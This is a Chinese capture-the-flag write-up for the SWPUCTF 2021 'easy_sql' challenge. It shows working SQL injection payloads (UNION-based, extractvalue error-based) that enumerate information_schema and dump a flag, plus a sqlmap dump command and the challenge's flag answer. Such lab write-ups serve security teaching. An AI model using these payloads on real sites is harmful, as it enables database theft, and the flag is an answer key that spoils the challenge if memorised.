[SWPUCTF 2021 新生赛]easy_sql - 联合注入||报错注入||sqlmap

这题可以直接参考： $NISACTF 2022$ join-us - 报错注入&无列名注入

网站标题提示，参数是wllm
?wllm=1

　　得到：Your Login name:xxx　Your Password:yyy

解法一：手注

1、先尝试普通注入?wllm=-1'union select 1,2,3--+

　　得到：Your Login name:2　Your Password:3

　　这里注意 ，wllm=-1才会回显占位符，否则还是xxx yyy

2、?wllm=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3--+

　　得到：Your Login name:test_tb,users

3、?wllm=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'test_tb'),3--+

　　得到：Your Login name:id,flag

4、?wllm=-1'union select 1,(select group_concat(flag) from test_tb),3--+

　　得到：Your Login name:NSSCTF{82bf2238-f61d-41f1-b103-848e28154cee}

如果能手注，还是非常舒服的！

解法二：报错注入

1、?wllm=1'-a()--+

　　得到：FUNCTION test_db.a does not exist

　　表为：test_db

2、?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema = 'test_db'),1,100),0x7e))--+

　　得到：XPATH syntax error: '~ test_tb,users ~'

3、查test_tb：?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(column_name) from information_schema.columns where table_name = 'test_tb'),1,100),0x7e))--+

　　得到：XPATH syntax error: '~ id,flag ~'

4、查test_tb.flag：?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from test_tb),1,100),0x7e))--+

　　得到：XPATH syntax error: '~NSSCTF{82bf2238-f61d-41f1-b103-'

5、查test_tb.flag：?wllm=1' and extractvalue(0,concat(0x7e,mid((select group_concat(flag) from test_tb),20,100),0x7e))--+

　　XPATH syntax error: '~ d-41f1-b103-848e28154cee} ~'

最终：flag=NSSCTF{82bf2238-f61d-41f1-b103-848e28154cee}

解法三：sqlmap

python sqlmap.py -u "http://xxxxxxxxxxxxx.cn:28930/?wllm=1" --batch --dump -T test_tb

sqlmap每次都要跑很久，个人喜欢手注